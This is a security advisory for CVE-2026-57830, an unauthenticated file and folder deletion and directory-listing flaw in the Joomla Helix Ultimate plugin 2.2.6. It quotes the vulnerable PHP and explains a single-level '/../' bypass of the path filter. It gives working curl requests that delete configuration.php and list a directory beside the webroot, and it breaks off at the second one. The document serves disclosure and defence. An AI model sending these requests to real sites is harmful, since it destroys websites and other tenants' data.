
Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
This is a confirmed DoS + cross-tenant filesystem access vulnerability, NOT RCE. An RCE-escalation theory
(delete configuration.php to re-expose the Joomla installer) was tested live and disproved — see "RCE
escalation — tested and disproved" below. Do not represent this as RCE in any report without re-deriving a real
chain first.
Severity upgrade (2026-07-06, second pass): the path parameter is NOT safely contained to the Joomla
webroot as first assessed — Joomla's PATH input filter does not block a single /../ traversal component, so
this bug reaches (read: full directory listing; write: delete file or recursively wipe folder contents)
anything on the filesystem the web server user can access, not just files inside the Joomla install. On
any shared-hosting layout where multiple sites/tenants live as sibling directories under the same OS user
(extremely common: cPanel "addon domains", Plesk subscriptions sharing a system user, most budget hosting), a
single Helix-Ultimate-powered site lets an anonymous visitor destroy every other site on the same account.
See "Path traversal escapes JPATH_ROOT entirely" below for the live proof.
Component: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), bundled with virtually every JoomShaper Joomla template (Helix Ultimate based).
Version tested: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD as of 2026-07, last push 2026-06-30)
Author: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php exposes deleteMedia(), getFolders() and createFolder()
through the Joomla com_ajax dispatch hook in helixultimate.php::onAfterRoute(). These three methods only call
Session::checkToken() (a plain CSRF check, satisfied by any anonymous visitor's own session token — harvestable
from the site's homepage HTML) — no authorise() / login check at all. This is inconsistent with the sibling
method uploadMedia() in the same class, which correctly requires core.edit on com_templates.
Because this is a system plugin, onAfterRoute() fires on every request regardless of which template is
currently active — the vulnerable code path is reachable as long as the plugin is installed and enabled (which it
is, by default, on any site using a Helix-Ultimate-based JoomShaper template).
plugins/system/helixultimate/helixultimate.php (~line 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path goes through Joomla's PATH input filter (InputFilter::cleanPath()). Two independent things make this
dangerous:
path is resolved directly under
JPATH_ROOT, so any absolute-from-root path (/configuration.php, /administrator/..., /media/...) is
already reachable.cleanPath()'s regex
(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) allows exactly one run of
dot/hyphen/alnum characters positioned right after the leading [A-Za-z0-9_/-]+ chunk — and a leading /
alone satisfies that leading chunk, so a string like /../sibling_dir matches cleanly: / (chunk 1), ..
(the permitted dotty run), /sibling_dir (a normal trailing segment). The filter was written to reject a
segment that starts a new /… component with a dot, but never anticipated one single .. sitting directly
after the string's very first character. Chaining ../../.. does NOT survive (every subsequent /… segment
after the first dotty run must start with a non-dot character) — so the escape is capped at exactly one
directory level above JPATH_ROOT, but everything below that level (arbitrary depth) is then reachable
normally, since further segments are just ordinary non-dot path components.configuration.php →
instant, total site outage ("No configuration" fatal error), one HTTP request, zero authentication.type=folder) → e.g. /administrator, /components,
/media → far more destructive, effectively destroys the install.view-media (Media::getFolders()): lists all image files,
all subfolder names, and absolute server paths under any root-relative path, no auth required (used below as
the safe detection signal).Tested against a disposable Docker instance (Joomla 5.4.6 + Helix Ultimate plugin 2.2.6, fresh install, fully anonymous browser session — no login, no cookie other than the one Joomla hands out to every visitor):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Created a sibling directory to the Joomla webroot (/var/www/canary_sibling, sibling of /var/www/html),
owned by the same user as the web server (www-data) to mirror a realistic shared-hosting layout, populated
with a file, an image, and a subdirectory:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"